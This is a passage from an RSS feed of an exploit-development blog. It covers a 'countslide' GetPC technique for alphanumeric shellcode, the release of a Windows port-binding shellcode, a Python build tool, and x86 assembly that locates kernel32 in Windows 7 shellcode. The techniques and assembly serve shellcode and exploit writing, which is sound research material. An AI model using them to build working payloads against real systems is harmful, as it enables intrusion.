#000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=4 ALIGN=CENTER>A<sub>avg</sub> + D<sub>max</sub></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=6 ALIGN=CENTER>A<sub>avg</sub> + D<sub>max</sub> * 3 + P</TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 3px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 3px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=6 ALIGN=CENTER>Return address</TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=8 ALIGN=CENTER>Modification address</TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> </TBODY> </TABLE> </CODE></p>
<p>The <em>countslide</em> will consist entirely of one byte <TT>INC ECX</TT> instructions. The <em>patcher</em> will overwrite one byte at the predictable address <strong>A<sub>avg</sub> + D<sub>max</sub> * 3 + P</strong> with a one byte <TT>POP ECX</TT> instruction. It then stores the predictable value <strong>A<sub>avg</sub> + D<sub>max</sub> * 3 + P + 1</strong> on the stack after which the <em>countslide</em> is executed.</p>
<p>Here is what will happen after the exploit makes code jump to address <strong>A<sub>avg</sub> + D<sub>max</sub></strong> in the <em>nopslide</em>:</p>
<ul>
<li>the <em>nopslide</em> executes until it reaches the <em>patcher</em>,</li>
<li>the <em>patcher</em> modifies the <em>countslide</em> at <strong>A<sub>avg</sub> + D<sub>max</sub> * 3 + P</strong>,</li>
<li>the <em>patcher</em> saves the value <strong>A<sub>avg</sub> + D<sub>max</sub> * 3 + P + 1</strong> on the stack, after which the <em>countslide</em> is executed,
<li>the <em>countslide</em> increments <TT>ECX</TT> over and over, acting like a normal nopslide, until it runs into the patched <TT>POP ECX</TT>,</li>
<li>the <TT>POP ECX</TT> instruction pops the value <strong>A<sub>avg</sub> + D<sub>max</sub> * 3 + P + 1</strong>, saved there by the <em>patcher</em>, off the stack into <TT>ECX</TT>.</li>
<li>the <em>countslide</em> then continues to increment <TT>ECX</TT> for every one byte instruction it executes, until it reaches its end.</li>
</ul>
<p>The number of <TT>INC ECX</TT> instructions executed in the <em>countslide</em> after the <TT>POP ECX</TT> <strong>N<sub>inc</sub></strong> depends on <strong>D<sub>max</sub></strong> and <strong>O</strong> as follows:<br />
<CODE><br />
                            N<sub>inc</sub> == D<sub>max</sub> * 2 &#8211; O &#8211; 1<br />
&nbsp;<br />
</CODE><br />
So, taking into account that the <TT>POP ECX</TT> sets <TT>ECX</TT> to <strong>A<sub>avg</sub> + D<sub>max</sub> * 3 + P + 1</strong>, after the <em>countslide</em> has completely been executed, the value in <TT>ECX</TT> will be:<br />
<CODE><br />
                            ECX == A<sub>avg</sub> + D<sub>max</sub> * 3 + P + 1 + N<sub>inc</sub><br />
                            ECX == A<sub>avg</sub> + D<sub>max</sub> * 5 + P &#8211; O<br />
&nbsp;<br />
</CODE><br />
And because <strong>A<sub>nop</sub> + O</strong> == <strong>A<sub>avg</sub> + D<sub>max</sub></strong>, this means the value in <TT>ECX</TT> is:<br />
<CODE><br />
                            ECX == A<sub>nop</sub> + D<sub>max</sub> * 4 + P<br />
&nbsp;<br />
</CODE><br />
Which, as you can see in the second diagram above, is exactly where our <em>countslide</em> ends, so at this point <TT>ECX</TT> == <TT>EIP</TT>. The <em>countslide</em> is followed by the shellcode, which can use <TT>ECX</TT> as the source of its base address.</p>
<p><strong>*UPDATE*:</strong> <a href="http://skypher.com/index.php/2010/01/10/alpha3-released/">ALPHA3</a> comes with a working version of Countslide mixedcase alphanumeric ascii GetPC for x86.</p>
]]></content:encoded>
			<wfw:commentRss>http://skypher.com/index.php/2010/01/02/countslide-alphanumeric-getpc/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>w32-bind-ngs-shellcode released</title>
		<link>http://skypher.com/index.php/2010/01/02/w32-bind-ngs-shellcode/</link>
		<comments>http://skypher.com/index.php/2010/01/02/w32-bind-ngs-shellcode/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 14:00:09 +0000</pubDate>
		<dc:creator>SkyLined</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[Programming Languages]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shellcode]]></category>

		<guid isPermaLink="false">http://skypher.com/?p=320</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  preg_split() [<a href='function.preg-split'>function.preg-split</a>]: Compilation failed: lookbehind assertion is not fixed length at offset 14 in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>77</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>78</b><br />
]]></description>
			<content:encoded><![CDATA[<p><strong>w32-bind-ngs-shellcode</strong> is a small, null-free 32-bit Windows port-binding shellcode. The total shellcode is currently 214 bytes and supports Windows 5.0-7.0 all service packs. I&#8217;ve released various versions of this shellcode <a href="http://www.milw0rm.com/exploits/9232">before</a>, which is why I decided it makes more sense to create a project for it, so you can always download the latest version.</p>
<p>w32-bind-ngs-shellcode is hosted on Google code <a href="http://code.google.com/p/w32-bind-ngs-shellcode/">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://skypher.com/index.php/2010/01/02/w32-bind-ngs-shellcode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SkyBuild released</title>
		<link>http://skypher.com/index.php/2010/01/02/skybuild-released/</link>
		<comments>http://skypher.com/index.php/2010/01/02/skybuild-released/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 13:51:47 +0000</pubDate>
		<dc:creator>SkyLined</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Programming Languages]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://skypher.com/?p=315</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  preg_split() [<a href='function.preg-split'>function.preg-split</a>]: Compilation failed: lookbehind assertion is not fixed length at offset 14 in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>77</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>78</b><br />
]]></description>
			<content:encoded><![CDATA[<p><strong>SkyBuild</strong> is a simple build system written in Python that I created to be able to build my source codes in various environments without having to figure out what compilers are installed and having to manually execute them with the right flags and figure out dependencies. It&#8217;s similar to &#8220;<em>make</em>&#8221; in many ways. It&#8217;s used by a number of my private projects and because I plan to publish them soon, I am releasing SkyBuild so you can actually compile my projects should you want to.</p>
<p>SkyBuild also includes <strong>py2cmd</strong>, which can be used to convert a .py script to a .cmd script (that runs itself as a Python script using <em>python.exe</em>. This saves you having to type &#8220;<em>.py</em>&#8221; after the name of the script. I myself use it to convert &#8220;<em>build.py</em>&#8221; to &#8220;<em>build.cmd</em>&#8220;, so I can just type &#8220;<em>build</em>&#8221; to build my projects.</p>
<p>SkyBuild is hosted on Google code <a href="http://code.google.com/p/skybuild/">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://skypher.com/index.php/2010/01/02/skybuild-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Shellcode: finding the base address of kernel32 in Windows 7</title>
		<link>http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/</link>
		<comments>http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 12:32:03 +0000</pubDate>
		<dc:creator>SkyLined</dc:creator>
				<category><![CDATA[Assembler]]></category>
		<category><![CDATA[Programming Languages]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shellcode]]></category>

		<guid isPermaLink="false">http://skypher.com/?p=153</guid>
		<description><![CDATA[<br />
<b>Warning</b>:  preg_split() [<a href='function.preg-split'>function.preg-split</a>]: Compilation failed: lookbehind assertion is not fixed length at offset 14 in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>77</b><br />
<br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/c3682jgn/domains/skypher.com/public_html/wp-content/themes/braille/options/plugins.php</b> on line <b>78</b><br />
]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;ve coded shellcode before, you know that the code often needs to find out the base address address where kernel32.dll is loaded in memory. Most publicly available code expects the second entry in the &#8220;InitializationOrder&#8221; list to be kernel32. Unfortunately, it seems that <a href="http://www.harmonysecurity.com/blog/2009/06/retrieving-kernel32s-base-address.html">this is not the case</a> in the public Windows 7 beta.</p>
<p>I&#8217;ve create a solution to this problem that should be able to find kernel32.dll on all versions of Windows with minimal code size increase. It works by walking the &#8220;InInitializationOrder&#8221; list mentioned above and checking the length of the name of the module: the Unicode string &#8220;kernel32.dll&#8221; has a terminating 0 as the 12th character. From my (limited) testing, it seems that scanning for a 0 as the 24th byte in the name allows the code to find kernel32.dll correctly.</p>
<p>More details can be found <a href="http://skypher.com/wiki/index.php/Hacking/Shellcode/kernel32">here</a>.</p>
<p>The code:<br />
<CODE><br />
&nbsp;&nbsp;&nbsp;&nbsp;XOR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ECX,&nbsp;ECX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;ECX&nbsp;=&nbsp;0<br />
&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ESI,&nbsp;[FS:ECX&nbsp;+&nbsp;0x30]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;ESI&nbsp;=&nbsp;&#038;(PEB)&nbsp;([FS:0x30])<br />
&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ESI,&nbsp;[ESI&nbsp;+&nbsp;0x0C]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;ESI&nbsp;=&nbsp;PEB->Ldr<br />
&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ESI,&nbsp;[ESI&nbsp;+&nbsp;0x1C]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;ESI&nbsp;=&nbsp;PEB->Ldr.InInitOrder<br />
next_module:<br />
&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EBP,&nbsp;[ESI&nbsp;+&nbsp;0x08]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;EBP&nbsp;=&nbsp;InInitOrder[X].base_address<br />
&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EDI,&nbsp;[ESI&nbsp;+&nbsp;0x20]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;EBP&nbsp;=&nbsp;InInitOrder[X].module_name&nbsp;(unicode)<br />
&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ESI,&nbsp;[ESI]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;ESI&nbsp;=&nbsp;InInitOrder[X].flink&nbsp;(next&nbsp;module)<br />
&nbsp;&nbsp;&nbsp;&nbsp;CMP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[EDI&nbsp;+&nbsp;12*2],&nbsp;CL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;modulename[12]&nbsp;==&nbsp;0&nbsp;?<br />
&nbsp;&nbsp;&nbsp;&nbsp;JNE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;next_module&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;No:&nbsp;try&nbsp;next&nbsp;module.<br />
&nbsp;<br />
</CODE></p>
<p>NB. See <A href="index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/#comment-620">the comments</A> for a problem (and solution) on Win2K targets courtesy of aniway.</p>
]]></content:encoded>
			<wfw:commentRss>http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
	</channel>
</rss>

